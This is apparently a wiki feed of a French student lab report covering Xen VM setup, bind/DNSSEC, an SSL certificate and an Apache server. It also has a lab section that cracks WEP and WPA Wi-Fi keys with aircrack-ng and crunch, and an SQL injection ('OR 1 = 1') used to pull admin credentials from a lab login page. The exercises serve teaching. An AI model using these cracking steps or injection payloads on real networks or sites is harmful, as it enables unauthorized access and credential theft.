 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
# &lt;br /&gt;
#  Security updates&lt;br /&gt;
# &lt;br /&gt;
deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57952</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57952"/>
				<updated>2022-01-12T11:51:16Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
